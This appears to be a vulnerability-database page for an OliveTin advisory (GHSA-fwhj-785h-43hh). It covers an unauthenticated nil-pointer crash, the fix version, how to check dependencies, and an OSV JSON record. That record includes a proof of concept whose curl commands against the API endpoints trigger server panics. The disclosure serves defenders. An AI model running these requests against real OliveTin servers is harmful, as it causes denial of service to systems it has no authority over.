GHSA-fwhj-785h-43hh: Github.com/OliveTin/OliveTin OliveTin Has Crash On NPE Vulnerability
MODERATEGHSA-fwhj-785h-43hh is a MODERATE (CVSS 5.3) olivetin has crash on npe vulnerability (CWE-20: Improper Input Validation) affecting Github.com/OliveTin/OliveTin libraries in the Go ecosystem. The issue involves olivetin has crash on npe by calling apis with invalid bindings or log references. Remediation is available by upgrading affected packages to version 0.0.0-20260304225158-bb14c5da3e64.
GHSA-fwhj-785h-43hh at a Glance
Security Impact
CVSS: 5.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L).
How to Fix GHSA-fwhj-785h-43hh
To remediate this vulnerability, upgrade all affected Github.com/OliveTin/OliveTin dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/OliveTin/OliveTin to 0.0.0-20260304225158-bb14c5da3e64
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/OliveTin/OliveTin
How to Check if You Are Affected
To determine whether your application is affected by GHSA-fwhj-785h-43hh, inspect your project dependencies for Github.com/OliveTin/OliveTin:
inspect dependencies for github.com/OliveTin/OliveTin
Analyze the terminal output to locate any version of Github.com/OliveTin/OliveTin in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20260304225158-bb14c5da3e64), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-20: Improper Input Validation, where the product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. In Github.com/OliveTin/OliveTin, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-fwhj-785h-43hh Affected Github.com/OliveTin/OliveTin Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/OliveTin/OliveTin
|
Go |
< 0.0.0-20260304225158-bb14c5da3e64
|
0.0.0-20260304225158-bb14c5da3e64
|
References
Frequently Asked Questions
What is GHSA-fwhj-785h-43hh?
Which Github.com/OliveTin/OliveTin versions are affected?
What version fixes GHSA-fwhj-785h-43hh?
Is github.com/OliveTin/OliveTin affected?
What is the CVSS score of GHSA-fwhj-785h-43hh?
What CWE is associated with GHSA-fwhj-785h-43hh?
How can I check Go dependencies for GHSA-fwhj-785h-43hh?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-fwhj-785h-43hh",
"modified" : "2026-03-05T20:54:25Z",
"published" : "2026-03-05T20:54:25Z",
"aliases" : [ ],
"summary" : "OliveTin has crash on NPE by calling APIs with invalid bindings or log references",
"details" : "### Summary\nAn unauthenticated attacker can trigger server-side panics by first creating an execution log entry with a nil binding via `StartActionByGet` (invalid action ID), then calling `KillAction` or `RestartAction` on that tracking ID. This causes a nil-pointer dereference in API handlers and results in repeated per-request panics (`Empty reply from server`), enabling denial of service through panic/log/CPU amplification.\n\n### Details\nThe issue is caused by this flow:\n\n 1. `StartActionByGet` accepts arbitrary `actionId` and still calls executor:\n - `service/internal/api/api.go:239`\n\n 2. Executor stores a log entry before binding validation:\n - `service/internal/executor/executor.go:519`\n\n 3. If binding is nil, execution stops, but the log entry remains:\n - `service/internal/executor/executor.go:781`\n\n 4. `KillAction` dereferences `execReqLogEntry.Binding.Action` without checking `Binding`:\n - `service/internal/api/api.go:79`\n\n 5. `RestartAction` has the same unsafe dereference:\n - `service/internal/api/api.go:1285`\n\nBecause the dereference happens before authorization checks in these handlers, this is reachable unauthenticated.\n\n\n### PoC\n Environment:\n - OliveTin default single frontend on `http://localhost:1337`\n - Reproduced on `main` (commit `235493e`) and tag `3000.11.0`\n\n 1) Create orphan tracking ID with invalid action:\n ```bash\n T=$(curl -s -X POST http://localhost:1337/api/StartActionByGet \\\n -H 'Content-Type: application/json' \\\n --data '{\"actionId\":\"does-not-exist\"}' \\\n | sed -n 's/.*\"executionTrackingId\":\"\\([^\"]*\\)\".*/\\1/p')\n echo \"$T\"\n\n 2. Trigger panic in RestartAction:\n\n curl -v -X POST http://localhost:1337/api/RestartAction \\\n -H 'Content-Type: application/json' \\\n --data \"{\\\"executionTrackingId\\\":\\\"$T\\\"}\"\n\n 3. Trigger panic in KillAction:\n\n curl -v -X POST http://localhost:1337/api/KillAction \\\n -H 'Content-Type: application/json' \\\n --data \"{\\\"executionTrackingId\\\":\\\"$T\\\"}\"\n\nObserved client output:\n\n - curl: (52) Empty reply from server\n\nObserved server log:\n\n - panic serving ... runtime error: invalid memory address or nil pointer dereference\n - stack points to:\n - service/internal/api/api.go:79 (KillAction)\n - service/internal/api/api.go:1285 (RestartAction)\n\n```\n### Impact\n\nThis is an unauthenticated denial-of-service vulnerability (panic-based request disruption and log/CPU amplification). An attacker can repeatedly trigger panics remotely without credentials, degrading service reliability and observability.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/OliveTin/OliveTin"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.0.0-20260304225158-bb14c5da3e64"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-fwhj-785h-43hh"
}, {
"type" : "WEB",
"url" : "https://github.com/OliveTin/OliveTin/commit/bb14c5da3e64b03f207c7f38139eb60e97c278fc"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/OliveTin/OliveTin"
}, {
"type" : "WEB",
"url" : "https://github.com/OliveTin/OliveTin/releases/tag/3000.11.1"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-20", "CWE-476" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-05T20:54:25Z",
"nvd_published_at" : null
}
}